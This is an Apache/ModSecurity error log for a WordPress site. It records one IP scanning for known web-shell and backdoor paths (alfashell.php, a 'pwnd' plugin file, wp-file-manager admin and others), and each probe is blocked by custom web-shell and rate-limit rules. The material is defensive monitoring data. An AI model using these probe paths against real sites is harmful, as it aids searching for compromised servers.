[Fri Apr 17 14:35:14.501019 2026] [proxy_fcgi:error] [pid 61523:tid 61548] [client 74.234.56.128:28490] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:14.752797 2026] [:error] [pid 51878:tid 51884] [client 74.234.56.128:29023] [client 74.234.56.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeHUoknQhUtMbw9EsgYa9gAAAQQ"]
[Fri Apr 17 14:35:14.776160 2026] [proxy_fcgi:error] [pid 61523:tid 61554] [client 74.234.56.128:28490] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:15.043907 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:28490] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUo8OaH-Pgc7WEf4NHiQAAAdA"]
[Fri Apr 17 14:35:15.301810 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:29561] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUoxP68VyHNvj1e56kXAAAANI"]
[Fri Apr 17 14:35:15.548463 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:29507] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUoxP68VyHNvj1e56kXwAAANE"]
[Fri Apr 17 14:35:15.845954 2026] [:error] [pid 9151:tid 9176] [client 74.234.56.128:29041] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUo8hTVuRPkua22vQVAwAAAA8"]
[Fri Apr 17 14:35:16.063326 2026] [:error] [pid 34273:tid 34275] [client 74.234.56.128:29486] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUpGuQDW686mK3dgHDngAAAYA"]
[Fri Apr 17 14:35:16.351617 2026] [:error] [pid 9151:tid 9177] [client 74.234.56.128:28991] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUpMhTVuRPkua22vQVBwAAABA"]
[Fri Apr 17 14:35:16.608632 2026] [:error] [pid 25010:tid 25035] [client 74.234.56.128:29037] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUpI-7kkf42RarqQ1F8AAAAVY"]
[Fri Apr 17 14:35:16.888949 2026] [:error] [pid 25010:tid 25026] [client 74.234.56.128:27451] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUpI-7kkf42RarqQ1F8wAAAU0"]
[Fri Apr 17 14:35:17.151474 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:26393] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUpZJYca8I3TNCwIf_iwAAAEU"]
[Fri Apr 17 14:35:17.429531 2026] [:error] [pid 9151:tid 9171] [client 74.234.56.128:26426] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUpchTVuRPkua22vQVDAAAAAo"]
[Fri Apr 17 14:35:17.686041 2026] [:error] [pid 9152:tid 9191] [client 74.234.56.128:28510] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUpZJYca8I3TNCwIf_jQAAAEE"]
[Fri Apr 17 14:35:17.973291 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:29564] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUpZJYca8I3TNCwIf_jgAAAE0"]
[Fri Apr 17 14:35:18.208792 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:29483] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUppJYca8I3TNCwIf_jwAAAEY"]
[Fri Apr 17 14:35:18.471488 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:29508] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUppJYca8I3TNCwIf_kAAAAEc"]
[Fri Apr 17 14:35:18.713610 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:24370] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUppJYca8I3TNCwIf_kgAAAEM"]
[Fri Apr 17 14:35:18.993244 2026] [:error] [pid 9153:tid 9219] [client 74.234.56.128:24371] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUpuMHGxkTZX3c45fPmQAAAIE"]
[Fri Apr 17 14:35:19.274490 2026] [:error] [pid 51878:tid 51897] [client 74.234.56.128:29002] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUp0nQhUtMbw9EsgYbAQAAARE"]
[Fri Apr 17 14:35:19.498814 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:29030] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUp0nQhUtMbw9EsgYbAgAAAQA"]
[Fri Apr 17 14:35:19.807713 2026] [:error] [pid 51878:tid 51902] [client 74.234.56.128:29016] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUp0nQhUtMbw9EsgYbBQAAARY"]
[Fri Apr 17 14:35:20.027607 2026] [:error] [pid 51878:tid 51898] [client 74.234.56.128:29566] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUqEnQhUtMbw9EsgYbBgAAARI"]
[Fri Apr 17 14:35:20.311819 2026] [:error] [pid 51878:tid 51887] [client 74.234.56.128:29523] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUqEnQhUtMbw9EsgYbCAAAAQc"]
[Fri Apr 17 14:35:20.665558 2026] [:error] [pid 9151:tid 9178] [client 74.234.56.128:28978] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUqMhTVuRPkua22vQVEAAAABE"]
[Fri Apr 17 14:35:20.917979 2026] [:error] [pid 9152:tid 9204] [client 74.234.56.128:27496] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUqJJYca8I3TNCwIf_lgAAAE4"]
[Fri Apr 17 14:35:21.346782 2026] [:error] [pid 34273:tid 34297] [client 74.234.56.128:25348] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeHUqWuQDW686mK3dgHDqwAAAZY"]
[Fri Apr 17 14:35:21.464485 2026] [:error] [pid 34273:tid 34276] [client 74.234.56.128:30072] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUqWuQDW686mK3dgHDrAAAAYE"]
[Fri Apr 17 14:35:22.002631 2026] [:error] [pid 34273:tid 34281] [client 74.234.56.128:29555] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUqmuQDW686mK3dgHDrQAAAYY"]
[Fri Apr 17 14:35:22.055610 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:28997] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeHUqmuQDW686mK3dgHDrwAAAYo"]
[Fri Apr 17 14:35:22.530146 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:29984] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUqhP68VyHNvj1e56kbQAAAMk"]
[Fri Apr 17 14:35:22.582608 2026] [:error] [pid 25010:tid 25031] [client 74.234.56.128:30056] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeHUqo-7kkf42RarqQ1F_AAAAVI"]
[Fri Apr 17 14:35:23.069104 2026] [:error] [pid 9151:tid 9173] [client 74.234.56.128:27959] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUq8hTVuRPkua22vQVEQAAAAw"]
[Fri Apr 17 14:35:23.130103 2026] [:error] [pid 51878:tid 51899] [client 74.234.56.128:29034] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeHUq0nQhUtMbw9EsgYbCwAAARM"]
[Fri Apr 17 14:35:23.584607 2026] [:error] [pid 9153:tid 9223] [client 74.234.56.128:27972] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUq-MHGxkTZX3c45fPmgAAAIU"]
[Fri Apr 17 14:35:23.721366 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:29472] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeHUq0nQhUtMbw9EsgYbDwAAARU"]
[Fri Apr 17 14:35:24.168014 2026] [:error] [pid 9153:tid 9232] [client 74.234.56.128:29046] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUrOMHGxkTZX3c45fPngAAAI4"]
[Fri Apr 17 14:35:24.429799 2026] [:error] [pid 25010:tid 25021] [client 74.234.56.128:29515] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeHUrI-7kkf42RarqQ1F_gAAAUg"]
[Fri Apr 17 14:35:24.692701 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:28984] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUrJJYca8I3TNCwIf_nAAAAEY"]
[Fri Apr 17 14:35:24.947573 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:29502] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeHUrEnQhUtMbw9EsgYbEQAAARQ"]
[Fri Apr 17 14:35:25.210631 2026] [:error] [pid 34273:tid 34289] [client 74.234.56.128:30018] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUrWuQDW686mK3dgHDsQAAAY4"]
[Fri Apr 17 14:35:25.473338 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:27968] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeHUrUnQhUtMbw9EsgYbEgAAAQk"]
[Fri Apr 17 14:35:25.750075 2026] [:error] [pid 51878:tid 51898] [client 74.234.56.128:30004] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUrUnQhUtMbw9EsgYbFAAAARI"]
[Fri Apr 17 14:35:26.001166 2026] [:error] [pid 25010:tid 25024] [client 74.234.56.128:29463] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeHUro-7kkf42RarqQ1GAAAAAUs"]
[Fri Apr 17 14:35:26.273027 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:27460] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUrhP68VyHNvj1e56kbwAAANM"]
[Fri Apr 17 14:35:26.524080 2026] [:error] [pid 51878:tid 51895] [client 74.234.56.128:29499] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeHUrknQhUtMbw9EsgYbFQAAAQ8"]
[Fri Apr 17 14:35:26.815719 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:30074] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUrpJYca8I3TNCwIf_oAAAAEk"]
[Fri Apr 17 14:35:27.082560 2026] [:error] [pid 9153:tid 9227] [client 74.234.56.128:28973] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeHUr-MHGxkTZX3c45fPnwAAAIk"]
[Fri Apr 17 14:35:27.348568 2026] [:error] [pid 9153:tid 9228] [client 74.234.56.128:28471] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeHUr-MHGxkTZX3c45fPoAAAAIo"]
[Fri Apr 17 14:35:27.588085 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:29456] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeHUr5JYca8I3TNCwIf_ogAAAEs"]
[Fri Apr 17 14:35:28.087282 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:30069] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUsJJYca8I3TNCwIf_pQAAAE8"]
[Fri Apr 17 14:35:28.164908 2026] [:error] [pid 25010:tid 25037] [client 74.234.56.128:28998] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeHUsI-7kkf42RarqQ1GAQAAAVg"]
[Fri Apr 17 14:35:28.688507 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:28515] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUsBP68VyHNvj1e56kcgAAAMo"]
[Fri Apr 17 14:35:28.804359 2026] [:error] [pid 34273:tid 34278] [client 74.234.56.128:28516] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeHUsGuQDW686mK3dgHDswAAAYM"]
[Fri Apr 17 14:35:29.273147 2026] [:error] [pid 34273:tid 34282] [client 74.234.56.128:29040] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUsWuQDW686mK3dgHDtQAAAYc"]
[Fri Apr 17 14:35:29.415192 2026] [:error] [pid 51878:tid 51894] [client 74.234.56.128:29970] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeHUsUnQhUtMbw9EsgYbGAAAAQ4"]
[Fri Apr 17 14:35:29.808636 2026] [:error] [pid 9151:tid 9169] [client 74.234.56.128:29988] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeHUschTVuRPkua22vQVEgAAAAg"]
